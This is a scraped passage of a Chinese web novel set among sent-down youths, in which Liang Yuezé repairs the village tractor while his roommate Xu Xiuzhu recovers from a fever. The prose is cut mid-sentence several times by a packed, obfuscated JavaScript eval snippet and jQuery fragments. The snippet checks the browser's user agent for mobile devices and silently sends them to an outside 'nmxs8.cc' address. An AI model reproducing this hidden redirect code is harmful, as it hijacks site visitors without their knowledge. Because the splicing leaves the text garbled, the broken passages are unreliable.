d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284470|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么搞成这样了?” 梁月泽被熏得眼睛发红,又咳了几声:“我就是正常生火,然后就变成这样了。” 书记看着四处冒烟的厨房,觉得还是要先处理了这浓烟才行,便捂着鼻子进去把灶里的柴火都拿出来,扔到外面的空地上。 “你可真行啊,这柴火都湿了你还放进去,能把火生起来就奇怪了。”对着这位梁知青,书记简直是没脾气了。 说他会动手吧,连个火都生不起来;说他不会动手吧,他又能把拖拉机给拆了。 想起拖拉机,书记心里又是一阵烦闷,他们村今年也不知是倒了什么大霉,先是把拖拉机用坏了,接着又来了个胆大包天的知青,把拖拉机给拆了。 想到隔壁还有一个病人等着喝粥吃药,书记只好接过了生火的担子,帮着两人煮粥。 “我说梁知青啊,你都这么大个人了,怎么连生火都不会?”书记一边生火一边碎碎念。 “在扶柳村里,五六岁的小孩都会生火了,你怎么比他们还不如。” “这些日子不会都是许知青在做饭吧?” “也就是现在没有地主老爷了,不然你就是妥妥的地主家的大少爷……” 梁月泽蹲在旁边,默不做声,只一心学习怎么生火煮饭。 书记说得对,他不可能一辈子都不会做饭,这个年代不比后世,有便捷的食堂或者可以点外卖。 他也不可能和许修竹搭伙一辈子,以后总要自己学着煮饭,才不至于把自己饿死。 等许修竹终于能吃上粥时,太阳都升到半空中了。 之前浓烟冒进来的时候,许修竹本来想出去看看情况,但听到书记声音的那一刻,他缩回了桌子上躺着。 吃完粥之后,许修竹就吃药了,卫生所开的药有安眠的成分,他很快就睡了过去。 因此他也没能见到,村长和书记对梁月泽的讨伐,以及梁月泽的据理力争。 “拖拉机的发动机是没问题的……这些零件组合起来……按照我的设计方案,拖拉机一定能启动!” 梁月泽站在会议室的中间,地上各种零件围着,村长和书记就站在他对面,手里拿着那个小本子。 书记质疑:“你怎么知道,按照你的方法,就一定能启动呢?连省城来的维修员都修不好。” 梁月泽认真道:“别人修不好我不知道是为什么,但机械的原理是相通的,只要满足机械运行的各个条件,就一定能启动。” 见村长和书记面露犹豫,梁月泽乘胜追击:“而且拖拉机已经坏了,申请新的维修员下来,不知要等到何时,您二位不如就让我试一试吧。” 他挑了一下眉:“反正也不会比现在更坏了。” 会议室里开始陷入沉默,梁月泽淡定地等两人做决定,他有这个自信,村长和书记会答应。 结果就是,答复没得到,他就被打发到田里去干活了。 梁月泽一脸懵圈地被赶下了田里。 公社的廊下,村长卷了一根烟丝,用火柴点燃:“老杨,你觉得怎么样?” 书记蹲在他旁边,手里翻着那个小本子,没有正面回答,而是说:“这小子还真有两把刷子,看这图画得跟真的一样。” “你说他哪里学来的本事?瞧着比那丁维修员还有条理嘞。” 十几年的老搭档了,村长哪里还能听不出他的意思。 都这个情况了,给那梁知青一个机会也无妨,万一真能修好呢? 不过也不能让他太嘚瑟了,这人胆子太大,得晾他两天,杀杀他的嚣张气焰才行。 15.醒来 许修竹再次醒过来时,身上盖了一层薄被子,他也捂出了一身汗,身体却轻松了一些。 随着这身汗排出体内的,还有这两天一直挥之不去的沉重。 “你醒了,你这一觉睡得可够长的,我还在想要不要叫你起来吃饭呢。” 梁月泽拿着两个饭盒进来,里面装了两份粥,这粥还是书记怕他把厨房给烧了,帮他生的火。 看着摆到跟前的饭盒,食物的香气诱得许修竹生出了一丝饿意。 许修竹眼睛闪烁了一下,随即低下头来,小声地说:“谢谢。” “这是我应该做的,你先吃粥,吃完了好吃药。”梁月泽把勺子递给他。 许修竹接过勺子:“这被子是怎么来的?” 梁月泽说:“书记从他家里带来的,你现在身体不能受凉,他让你先用着,等好了再还给他。” 许修竹“哦”了一声,就不再作声了,拿着勺子慢慢吃粥。 他已经很久没有像现在这样了,生病的时候有人照顾,以前发烧了还要爬起来做饭,不然会被骂的。 有那么一瞬间,他以为自己回到了孩童时候,一觉睡醒,爷爷已经做好了饭,他会把自己抱起来,慢慢把自己叫醒。 他小小年纪就有起床气了,被突然叫醒,他一般会哭闹一番,这时爷爷就会拿出一块蜜饯塞他嘴里。 嘴里有了甜蜜蜜的蜜饯,他马上就会停止哭闹,还会对爷爷咧嘴笑。 可周围的环境又时刻提醒着他,现在不是小时候了,他回不去了。 这里没有他记忆里的药香味,也没有那个熟悉的人,却多了一个——渐渐熟悉起来的人。 梁月泽找了张凳子坐下,也开始了他的晚餐。 外面太阳已经下山,屋里点了一盏煤油灯,暗黄的灯光下,梁月泽好像都变得柔和了一些。 “村长准许你病好之前,不用下田去干活。”梁月泽突然开口。 许修竹从饭盒里抬起头来:“那我的工分?” “不出工自然是没有工分,不过你放心,我把我的工分给你了,虽然不多,好歹也值一点儿。” “我觉得我好得差不多了,明天就能下田去干活了。”许修竹提高了音量。 对现在的许修竹来说,只有工分是最重要的,什么都不能影响他挣工分。 梁月泽抬眼看了他一眼,脸颊还有些发红,烧得有些干裂的嘴唇,因为喝粥被暂时湿润,但还是一副大病未愈的虚弱状态。 “你这样子怎么下田干活,明天还是再休息一天吧。”梁月泽劝道。 饭盒里只剩下几口粥了,许修竹索性把饭盒捧起来,一口喝完。 “你把药给我,吃了药我再睡一觉,明天肯定会好的,我自己的身体我自己了解。” 梁月泽想不明白,工分就这么重要吗?休息一两天也不耽误什么,有必要拖着病体去干活吗? 一说到工分,病秧子都精神了几分。 看着眼前不肯收回去的手,无奈,梁月泽只好把药递给他,还附送了一个装满热水的水壶。 “多喝点水,发烧了多喝水能排毒,可以好得更快一些。”嘴唇也可以不用干得起皮。 许修竹把药倒进嘴里,然后喝了一口水,把药咽了下去,一点儿也不怕苦似的。 之后梁月泽把饭盒拿出去洗干净了,再次进来时,特别顺手地把手放在许修竹额头上,两人皆是一愣。 这还是梁月泽在许修竹清醒的状态下,第一次主动靠近。 小小的杂物间里,悄然升起一股不可言说的暧昧。 半晌,梁月泽不自在地收回了手,咳了一声:“我试试你还发不发烧。” 许修竹也回过了神,垂下眼帘,说道:“那还发烧吗?” “我刚洗完饭盒,沾了水手有点凉,应该不太准确,一会儿再试试吧。” 许修竹点了点:“嗯。” 此时夜幕已经降临,梁月泽收拾好东西,就吹熄了煤油灯,爬上许修竹特意空出来的半边桌子躺下。 “我之后可能给不了你工分了。”黑暗中,梁月泽突然开口。 他想起许修竹对工分的在乎,觉得还是提前说清楚比较好。 他不会一直在村里做知青的,干农活不是他的强项,一旦村里的拖拉机被他修好,他就不会被局限在村里。 到时候他就不需要村里的工分了,自然也给不了许修竹工分。 若是在白天,梁月泽肯定能看到许修竹突然变白的脸色,不过在黑暗的掩饰下,他什么也没发现。 许修竹语气平淡地“嗯”了一声,他其实早有预料了。 从梁月泽要撬锁开始,到拆拖拉机,他就已经猜到了对方想做什么。 以梁月泽拆拖拉机的熟练动作,明显是对机械有一定的了解,有本事的人,怎么会局限于一个小山村呢。 但他没想过要阻止,他们只是机缘巧合下住到了一起,其实也不过是个认识十来天的陌生人,梁月泽没必要帮他。 许修竹无意在工分上再多说,便问他:“你把拖拉机给拆了,村长和书记没把你怎么样吧?” 他记得他早上爬起来的时候,书记和村长还在痛心疾首地训斥梁月泽,等再次醒来,就是在镇上的卫生所了。 梁月泽想到两个小老头的反应,轻笑一声:“不过是叱骂了我一顿,我正好趁这个机会,向他们展示我的本事。” “那他们怎么说?允许你去修拖拉机了吗?”许修竹问。 “还没给答复,不过我看他们已经动摇,相信再过两天,就会让我去修那辆拖拉机。” “你能把拖拉机修好吗?” “以现在的情况,我有这个信心。” “那你修好拖拉机后,想做什么?” “不知道,总之是不想再做农活了,我不是做农活的那块料。” “哦……” 两人说着说着,意识开始逐渐模糊,许修竹吃了药容易犯困,梁月泽也很久没睡觉了,被许修竹感染着,也很快进入了睡眠。 下过雨的夜晚,还是有一点儿清凉,梁月泽没有被子盖,半梦半醒中,下意识往热源的方向挪去。 梁月泽觉得,他已经好久没睡得这么舒服了,怀里的抱枕软软的,捏一捏还有点Q ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288135|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹。 等等……他什么时候有抱枕了? 梁月泽猛地睁开眼睛,往自己怀里一看,许修竹正乖巧地窝在他怀里,气息平缓,脸色红润,显然正在安睡中。 不是抱枕,原来是个人! 是个人…… 人…… 是许修竹?!! 他怎么把许修竹抱怀里了?梁月泽一脸震惊,不得其解。 而他的手正放在许修竹的腰间,刚才在睡梦中捏着一弹一弹的东西,岂不就是许修竹的肚子? 梁月泽僵硬了许久,最后不得不接受这个现实。 他很确信自己不喜欢和人肢体接触,但现在这情况,好像是他自己主动的。 昨晚他躺下的位置,空了一大块,他已经挤到了许修竹这边,甚至还占了对方一半的被子。 梁月泽眨了下眼睛,应该是昨晚太冷了,他在抢被子吧。 没错,他就是来抢被子的。 梁月泽安慰好自己,趁着许修竹还没醒,轻手轻脚把人放开,重新盖上被子,就轻声出了屋子。 门关上的那一刻,呼吸平缓的许修竹睁开了眼睛,眼中闪过复杂的情绪,羞赧、无措、不自在皆有。 他只比梁月泽早醒来一会儿,睁眼就发现自己被人抱着,怪不得他一晚上都睡得这么安稳,感觉就像在爷爷的怀抱里一样。 一时不知该如何反应的他,感觉到梁月泽要醒过来,第一反应就是闭上眼睛装睡。 梁月泽出门后,许修竹松了一口气,他实在是没有面对这种场面的经验,能避开是最好的。 “许知青,你现在怎么样了?怎么不多休息一天,不用那么着急来干活的。” 今儿早上一看到许修竹的身影,覃晓燕江丽于芳她们就围了上来。 “对呀,身体不好就多休息休息,村里人多,少你一个不碍什么事儿。” 面对她们的关心,许修竹表情没什么变化:“已经好得差不多了。” 他确实没说谎,昨晚安稳睡了一晚上,身体的力气都恢复了大半,只除了手脚还有些酸软。 孙铭也过来关心:“许知青,听说你昨天发烧了,现在就来下田干活可以吗?要不要多休息一天?” 许修竹拒绝:“不用,现在就可以干活了。” 见对方坚持,孙铭也没有再劝,而是说:“那我给你安排轻省一点儿的活儿,要是有什么不舒服,就回去休息。” 许修竹眼神微动,最后吐出一句话:“多谢队长了。” 于是许修竹就被分配到一边去,和女知青们一起除草。下过雨的土地松软,除草不费什么力气。 全程梁月泽都没敢看许修竹一眼,只要一看许修竹的身影,梁月泽脑海里就会浮现早上他窝在自己怀里那副恬静自然的模样。 今天的太阳有点毒辣,昨天的清凉已经完全消失了。 梁月泽抹了一把汗,抬头看了一眼天上,寻思着今天这样的气温,晚上应该不会冷了。 他坚信,肯定是昨晚太冷了,他才会不由自主地钻许修竹的被窝,今天温度上升,昨晚的事儿不可能再发生。 16.同意 许修竹下田干活的当天晚上,他们就从公社搬回了牛棚。 经过一天的暴晒,牛棚里被淋湿的稻草已经晒干了,躺上去还有种阳光特有的味道。 村长和书记平时除了下田干活,大多数时候是在公社,村里人有事找他们也是先去公社。 也就是前两天下雨,又把杂物间借给两个知青住,他们去公社的时间才少了些。 许修竹自觉自己已经好了,便坚持要回牛棚去住,省得人来人往的不方便。 书记瞧着他已经能干活了,身体应该没有大碍了,便同意了他们搬回去,不过没有把被子收回去。 所以和之前相比,许修竹多了一床被子,梁月泽多了一份检讨。 没错,虽然村长和书记都对梁月泽的方案心动了,但他擅自撬开会议室的锁、拆掉拖拉机的行为,还是很恶劣,必须严厉惩戒。 然后梁月泽就喜提了一份不少于1000字的检讨。 村长和书记也要召集村干部一起商议,是否应该给梁知青一个展示的机会。 虽然他们俩同意了,其他村干部很少会有反对意见,但修拖拉机到底是村里的大事儿,还是要村里投票才能决定。 这天收工之后,打水和淘米的活计梁月泽都主动包揽了,许修竹只负责生个火,看一下火候。 许修竹吃完最后一顿药,在药效的作用下,很快就在稻草上睡着了。 梁月泽一个人洗完澡回来,看见的就是许修竹占据着牛棚的一角,整个人陷在稻草里,上面盖着一床被子,被踢开了半个角,整个人显得乖巧又恬静。 谁要是睡在他旁边,感觉一伸手就能抱了个满怀。 这个想法从脑海里冒出来,梁月泽猛地打了个激灵。 想什么呢? 就算他和许修竹同住一个牛棚,他怎么可能会想抱他? 一定是昨晚有点冷了,今天这么热,他肯定不会凑过去跟人家一个病人抢被子的。 抱着这个想法,梁月泽特意往外挪了一点,和许修竹离得远远的,中间隔了一米多的距离。 不过在睡觉之前,他还有一件事儿要做,那就是写检讨。 他在前世时是个学霸,在学校时遵纪守法,就没写过检讨。不过他虽然没有写过检讨,但身边的同学写过呀,他曾经扫过一眼。 无非就是写自己干了坏事的前因、过程、结果都简单地概括一遍,然后长篇大论自己的认错心理,最后保证不会再犯。 检讨都是大差不差的,能敷衍过去就行。 梁月泽拿着手电筒,蹲在箱子前,写得很流畅。 月光下,许修竹可能是觉得热了,翻了个身,把刚才梁月泽掩好的被子又踢开了一些,还呓语了一两声。 听到声音,梁月泽转过头来,正好看见许修竹的衣角蜷起,露出莹润的肚子。 有那么一瞬间,梁月泽脑海里闪过了早上在睡梦中捏到的东西,好像就是许修竹的肚子吧? 下一秒梁月泽就回过神了,特意关了手电筒,轻手轻脚凑过去替许修竹重新掖好被子。 许修竹身体还没痊愈,不能受凉的。 他是在照顾病人。梁月泽心想。 好在检讨只剩下一点儿尾巴了。 “许知青,怎么就你一个人来了?梁知青人呢?” 许是那十几天一起干活建下的情谊,虽然许修竹总是表情淡淡,覃晓燕她们三个女知青和他关系还不错。 至少见面问候一声,对方也不会不回答。 许修竹戴着草帽,眼睛掩藏在帽檐之下,只见他已经恢复红润的嘴唇动了动:“村长和书记有其他事情分配给他,估计接下来几天都不会过来了。” 于芳惊讶道:“有其他事情?什么事情要他一个新来的知青去做?” 每天做农活已经很累了,要是休息的时候没有个好看的小年轻养养眼,她们会少很多乐趣的。 自从覃晓燕决定不再打梁月泽的主意后,她们三个女知青也能大大方方谈论他,毕竟养眼的人还是比较少见的。 江丽:“对呀,就叫他一个人去吗?” 许修竹语气平淡:“就他一个人,什么事情我不知道。” 于芳有些遗憾:“好吧。” 村长和书记没有说,许修竹自然是不应该知道的,但他能猜得到。 他没看过梁月泽画零件的那个小本子,但他知道,以村长和书记的阅历,梁月泽没点本事,是没办法打动他们的。 也许以后,他们真的不会再在一起干活了。 甚至可能,也不会再一起挤在牛棚住里了。 没有了梁月泽分给他的工分,他要更加卖力地干活,才有可能赚满10个工分。 他现在的任务是赚工分,只有更多的工分,才能让他评上优秀知青。 村长虽然有心想晾梁月泽几天,但时间不等人。 若能早点修好,他们村这一季还能用两天,大家也不用这么辛苦。 所以梁月泽从卫生所回来后,只下田干了两天活儿,就被村长一脸严肃地叫到了公社。 梁月泽和许修竹住过的那间杂物间,已经被改造成了简易的会议室,村长书记和其他四名村干部,团团围住了梁月泽。 面对他们的发问,梁月泽丝毫不惧,一字一句地给大家解释清楚。 最后,把所有人都回答得满意后,李会计弱弱地问了一句:“不用买什么零件吧?” 见大家都看过来,李会计一一瞪了回去:“村里的账上没多少钱了,我不得省着点啊?” 村长心虚地撇开了眼,上个月收成之后,村里有几户人家着急办喜事,他就让李会计把上半年的钱都分了。 如今账上可支配的钱少了,可不就得省着点。 梁月泽抬手宽慰大家:“不用担心,以目前的情况来看,应该不用换零件。” 李会计松了一口气:“那就好,那我同意你去修拖拉机。” 妇女主任也举手赞同:“我也同意,反正梁知青不修,也是放在这里,不如试一试。” 剩下的两名村干部,见大家都同意了,跟着点头同意。 “对,试一试还有可能修好,不修就只会一直坏着。” “万一真修好了,我们村也许还有可能获得县里的先进村呢。” “对对对,总要试一试!” 得到村干部的一致同意后,书记和村长在大家的见证下,打开了会议室的大门。 会议室还是和梁月泽被赶出来那天一样的布局,地上的零件位置没动过,村长和书记也不敢动。 梁月泽一见到那些零件,就想起了他之前的设计,很快就连接了起来。 他拿出了之前交给村长的小本子,刚才村长已经还给他了,开始写写画画起来。 大家见他这么入神,也不敢再打扰,都小心地退了出去。 “你们说他能把拖拉机修好吗?”李会计小声地问。 妇女主任瞪了他一眼:“你不知道他能不能修好,你就同意了?” 李会计:“你不也同意了吗?” 妇女主任:“我是看你同意了,我才同意的。” 李会计:“那我是看村长和书记都同意了,又不用出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293277|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,还有什么好反对的?” 两人齐齐看向村长和书记,俩人正在点评梁月泽写的检讨,没搭理他们的话。 “你看他这字写得多好啊,比我们村那高中生还好看。”书记说。 村长点头:“字确实写得不错,有棱有角的,就是写的内容不大合适,拿不出去。” “确实拿不出去,不过写得挺好的,认错态度很积极嘛!” 村长想起梁月泽这几天的行为,那胆大的性子,可跟检讨书里写的不一样。 只希望他能不辜负村里的期望吧。 梁月泽一进会议室,就忙了好几天,每天早出晚归的,连中午的饭都打包去公社吃。 许修竹因为比较卖力干活,每天也比较累,好在之前在山上捡了不少柴火,也够用一段时间,他中午便没有再上山去。 两人每天就是早上起来吃顿早饭,晚上回来吃晚饭,洗完澡躺下没过几秒就睡着了。 在梁月泽维修拖拉机期间,不断有村干部扒着窗口往里看,连村长和书记一天都能来看好几趟。 一开始看梁月泽只会写写画画、分类零件,他们心里都急得不行,要不是被村长拦下了,他们非得一天问八百遍。 其实村长的心也提着呢,但他有一个优点,那就是疑人不用,用人不疑。一旦做了决定,就不会随便质疑对方的能力。 好在从第三天开始,梁月泽开始组装拖拉机,他们才没那么焦虑。 几天下来,村里人也慢慢知道了,新来的梁知青在公社维修拖拉机。 要问梁知青是谁,就是长得最俊俏的那一个! 一时间不知引起了多少大姑娘的倾慕,不仅长得俊俏,还有本事会维修。 村里的姑娘扎堆休息时,讨论的都是这位梁知青。 被偶尔经过的村长和书记听到,就是一顿叱骂,然后大家等村长和书记走后,又继续讨论。 别说是村里的姑娘了,就连知青队里的女知青,也对这位只见过一两次面的梁知青产生了兴趣。 “晓燕啊,你们和那位梁知青一起干活了十几天,他人怎么样啊?” 说话的是和覃晓燕不太对付的钱玉珍,在覃晓燕没来之前,是村里长得最好看,也最娇气的女知青。 她是去年来村里的,自持比覃晓燕早来一年,在这里更受欢迎,平时都不爱搭理覃晓燕。 覃晓燕也识趣儿,平时没事儿不找她,两人睡觉的铺位都隔了好几个人,倒也没有什么大冲突。 覃晓燕倒是奇了,之前听说被赶出去的梁知青和许知青,一个是资本家的儿子,一个是臭老九的孙子,钱玉珍一下就没了兴致,今天怎么会突然问起? 她上下看了钱玉珍好几眼:“你问他做什么?” 钱玉珍笑了一下,想要表现得友好一点:“我今天听村里人说,他如今在公社修拖拉机,他还有这个技能啊?” 资本家的儿子又如何,他本人又不是资本家,有本事的人,到哪儿都吃香。 万一真修好了拖拉机,被县里或市里的机械厂看中,照样可以回城,回城就不用再干农活了。 梁月泽在公社修拖拉机的事儿,覃晓燕也有所耳闻,但具体的她也不清楚。 她只能摇头道:“我也不清楚。” 一听覃晓燕说她也不知道,钱玉珍立马收了笑容,斜了她一眼:“原来你也不知道啊!”就转身回了自己的床铺。 有没有本事?能不能修好拖拉机?等过几天就知道了。 反正和覃晓燕相比,她也没占多少优势。 也不知道能不能把拖拉机修好? 17.修好 “……突突突……突突突……” “你们有没有听见什么声音?”覃晓燕突然抬起了头。 随着她这一句话,周围的大家也纷纷停下动作,凝神去听。 于芳:“是有点声音,感觉有点熟悉。” 江丽:“是不是什么汽车啊?” 她们出生于城市,只见过汽车和火车,从县里到村里坐的是牛车。 “拖拉机?!!是拖拉机的声音!!!”孙铭突然大喊。 他在村里待得最久,从县里有拖拉机开始,他就见识过拖拉机了,对拖拉机的声音是最熟悉的。 之前拖拉机没坏的时候,村里每天分配的农活还没这么重,这些天几乎每天都要多干一两个小时。 身体的疲惫是最好的反馈,孙铭对拖拉机的损坏最惋惜的,也是最希望拖拉机能修好的人。 这几天他虽然没怎么参与大家的讨论,但也一直在关注着,此时听到“突突突”的声音,第一时间想到的就是拖拉机。 听到孙铭的话,大家皆扭头朝声音的方向看去,那是一个弯,被一座泥房给挡着,什么都没有看到。 但却能听到越来越响亮的机械声音,大家的眼睛越来越亮。 许修竹也不例外,他知道梁月泽每天早出晚归是在做什么,看着他那么努力,他希望他能成功。 杨远山率先扔下锄头,几步跑到道路上去,很快就不见了人影。 没一会儿传来了他兴奋又洪亮的声音:“真的是拖拉机!” 紧接着孙铭也跟着跑上去,不少男知青有样学样,都跑了过去。 “陈叔!你开得好威风啊!能不能给我开开?” 陈叔坐在驾驶座笑容满面:“滚,拖拉机这么金贵,哪能让你随便开!”他熟练地驾驶着拖拉机往前驶去。 之前县里购入几辆拖拉机,让各个村子选两个人去培训,扶柳村里只有他和村长学会了开拖拉机。 饶是以他的熟练程度,上次都把拖拉机给开坏了。 这一个月来陈叔极为内疚,只能天天下田卖力干活,以弥补自己给村里造成的损失。这次驾驶他可小心着点呢。 书记和梁月泽就跟在拖拉机身后,观测拖拉机的性能,这一路看下来,发动是没问题了,就看下田耕作如何。 梁月泽笑道:“陈叔,不用这么紧张,拖拉机学会了,很容易的,你也不用这么宝贝,该怎么开就怎么开。” 面对修好了拖拉机的功臣,陈叔态度极好:“梁知青说得对,我会的。” 看到梁月泽,杨远山有点尴尬,他和对方的第一次见面,他就把人从知青所赶了出去,虽然事后反应过来是受了别人的怂恿,却也是不争的事实。 现在梁月泽修好了拖拉机,是村里的大功臣,他也因此受益,心里多少有点不好意思。 在杨远山还在纠结要不要道歉的时候,孙铭带着好几个男知青围了上来,让他的道歉没有了说出口的机会。 “我去!拖拉机还真修好了!” “陈叔陈叔!手感怎么样?好不好开?” “对对对!有没有感觉比以前好开?” 陈叔一脸乐呵呵:“比以前好开许多了!这把手扭动自然,步伐有力,新修好的就是好用!” 陈叔很快就把拖拉机开到了没有人翻的田地里,田埂上围了一堆围观的村民和知青。 对于没有见过现代化机械的他们来说,拖拉机就已经是他们见过的最大的农耕机器,足以让人产生好奇。 旋耕铁轮扎进田地里,在发动机的带动下,一块块土块被翻了起来,他们要卖力抡起锄头干一个小时的活儿,不到一分钟就耕完了。 陈叔开了两个来回,就在梁月泽面前停下了。 梁月泽手里拿着一个小本子,双手满是机油的污迹,一向爱干净的他此时却毫不在乎。 “感觉怎么样?” 陈叔回忆:“和之前相比,比较稳一些,把手也确实没那么难扭动了,虽然用的时间不长,但我觉得应该不会那么容易熄火了。” 梁月泽点了点头,在本子上写了几行字,说道:“那你继续,一个小时后再给我反馈。” 陈叔一口应下,又启动了拖拉机,继续耕作。 书记凑到梁月泽旁边:“梁知青,这拖拉机没问题了吧?” 梁月泽还在低着头写写画画,抽空回他:“还不能确定,现在看着是没问题,要是长期耕作也没出问题,才是真的没问题。” 书记恍然,看着不远处正在耕作的拖拉机,祈祷不要再出问题。 可能是梁月泽低头写写画画的状态太过专业,除了书记,周围没人敢打扰他。 许修竹站在田埂上,旁边是覃晓燕她们对拖拉机的惊叹和赞扬,对面是气质和村里人截然不同的梁月泽,此刻的他,身上有一股知识分子的气质。 他心里有一瞬间的不真实感,那个和他同吃同住的梁月泽,原来他真的会修拖拉机,他真的做到了。 他是真的不会留在村里。 也好,像他这样有本事的人,就不应该留在村里。 旁边覃晓燕她们的话题已经从拖拉机转移到修好拖拉机的人身上了。 “没想到梁知青真把拖拉机修好了,那可是前途无量啊!”江丽叹道。 于芳赞成道:“是啊,他有这本事,资本家儿子的名头又算得了什么,他自己又不是资本家。” 就算不能被市里的机械厂提拔上去,在他们白溪县,那技术也是一等一。 大家是不清楚梁月泽的技术水平,但是大家都知道省城来的技术员的水平,连省城来的技术员都修不好的拖拉机,被梁月泽修好了,他的技术肯定没水份。 有这技术在,就跟普通的知青不一样,成分再差,生活也不会差到哪里去。 顶多就是儿孙的成分差点,那也无妨,娶个贫下中农或者工人阶级出身的妻子,不就中和了吗。 于芳用胳膊顶了覃晓燕一下:“晓燕,你对那人……还有没有那个心思啊?”她用眼神往梁月泽的方向示意了一下。 覃晓燕一脸大方自然:“没有,你们俩谁对他有那个心思,就直接上吧,不用顾忌我。” 这些日子相处下来,她也看明白了,她对人家有意思,因为顾忌他的出身没主动过。 但梁月泽对她也是一点儿都没主动过,连悄悄看她一眼都没有过,显然是对她没兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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县里的拖拉机拢共就那么几辆,坏了一辆,有些村子本来能用两天的,就变成了只能用一天,隔壁村就是被他们村牵连,只能用一天。 结果轮到现在还没有轮到他们村,就可着机会迁怒扶柳村,村长是敢怒不敢言,毕竟是他们村理亏。 今后可就能扬眉吐气了! 梁月泽笑道:“村长,以后不用怕坏了修不好,我之后会整理一份针对性的维修说明,到时候可以交给县里的维修员,他们可以根据这份维修说明去维修。” 村长和书记愣了半晌,才回过神来,书记直愣愣地问:“梁知青,你说真的?” 梁月泽肯定地点头:“真的。” 村长猛地站了起来,越过桌子抓住梁月泽的手,激动道:“那可真是太好了!梁知青,您可真是无私啊!” 多少人有一门手艺,藏着掖着不让外人学,就只交给儿孙,生怕别人抢了他的饭碗。 就是这县里的维修员,也不知道是托了几道关系,才学了那么一点儿技术,一遇到复杂的就不会了。 就这,还是县里的香饽饽。 梁月泽淡笑:“这不算什么,为了党和国家,都是应该的。” 村长和书记立马肃然起敬,别看人家梁知青是资本家的儿子,却是个觉悟高的。 这样的人合该为社会主义做贡献! 18.思想 “谢谢你教我说的那些话,村长和书记都很高兴。”梁月泽说。 许修竹动作如常地给火堆里添加柴火,语气平淡道:“不用谢,就当是你那些工分的报酬了。” 梁月泽才来到这里两个多月,还没完全融入,又哪里懂得这个年代的思想风向。 这次全靠许修竹的提醒,才能在村长和书记面前留个好印象——关于政治思想上的印象。 虽说村长和书记没有因为他的出身而区别对待,但在别人看来,他资本家儿子的身份是印在了身上的。 一旦出了扶柳村,没有人对他的政治思想背书,梁月泽压根就踏不出扶柳村。 亲眼见证过自己爷爷是如何被批斗的,许修竹无比清楚,说什么话可以尽可能撇清关系,让别人以正常的目光看待自己。 梁月泽手上沾了机油,此时正蹲在他的旁边用沙土搓手,闻言停下了动作,扭头看向许修竹。 “说到工分,村长说,我修拖拉机这几天,每天给我记10个工分,明天我去找刘婶,给你分一些工分,让你加到10工分。” 许修竹掀开盖子,用木勺搅了搅锅里的茄子,放了点猪油的烧茄子味道极香,梁月泽吸了下鼻子。 “好。” 今天是发生了难得的大喜事,刘婶子一时高兴,从自家菜地里摘了几样菜送给梁月泽,他推却不下就收下了。 许修竹见平时很少吃炒菜,竹筒里也还有点猪油,就决定烧个茄子配米饭。 许修竹拿起装盐的竹筒,从里面舀了一点盐撒到瓦锅里,又搅了搅。 “快好了,你先去洗手吧。” 梁月泽点头,站起身往溪边走去,这味道太香了,他已经迫不及待了。 吃着难得的炒菜,梁月泽感叹:“今天真是个好日子!”也太好吃了。 确实是个好日子,拖拉机修好了,村里的气氛比杀猪那天还高涨。 至今还有人围在拖拉机耕作的那块农田边上,请陈叔给他们上手试一试。 陈叔正是宝贝拖拉机的时候,哪里会让他们上手,全都拒绝了,哪怕是他儿子也别想有机会。 除了隔一段时间给拖拉机休息一会儿,陈叔几乎就没休息过,他打算今晚一直耕作到天亮,再换村长来替换。 明天书记就会到县里去汇报拖拉机的最新状况,明晚肯定会有县里的人来把拖拉机开走,能多耕作一些田,村里人就能少使一些力。 “爸,你回来啦,锅里给你留饭了。” 林月香在自家院子里编草帽,听见声音抬头看见她爸回来了,赶紧把编到一半的草帽放下,到厨房里端出来。 村长从水缸里舀了一瓢水,用毛巾洗了把脸,才从女儿手里接过那盆饭。 常见的红薯饭上盖着青菜和咸菜,他边吃边说:“今儿怎么这么殷勤?” 林月香拖了个板凳坐到她爸旁边,双手把玩着辫子,讨好地笑了笑:“没事儿就不能给您端饭了吗?” 村长嗤了一声:“你有这么勤快?有屁快放!”然后又扒拉了两口饭。 林月香有点扭捏:“就那个……梁知青,你知道他有对象了吗?”她特意停顿了一下。 村长说:“没有!” 林月香心下一喜,结果下一秒又被她爸打入了冰窟,“但你想都别想!” 林月香双手叉腰,一双杏眼瞪着她爸:“我都还没说呢,你就知道我在想什么了?” 村长嗤笑:“不就是看他长得俊俏,想跟他处对象吗?我告诉你,没门!” 林月香顿时就不满了:“爸!你就不能改改你那陈旧的老观念啊?知青也不是个个都会回城的,你看孙铭哥,他都来村里这么久了,不还是没走吗?” 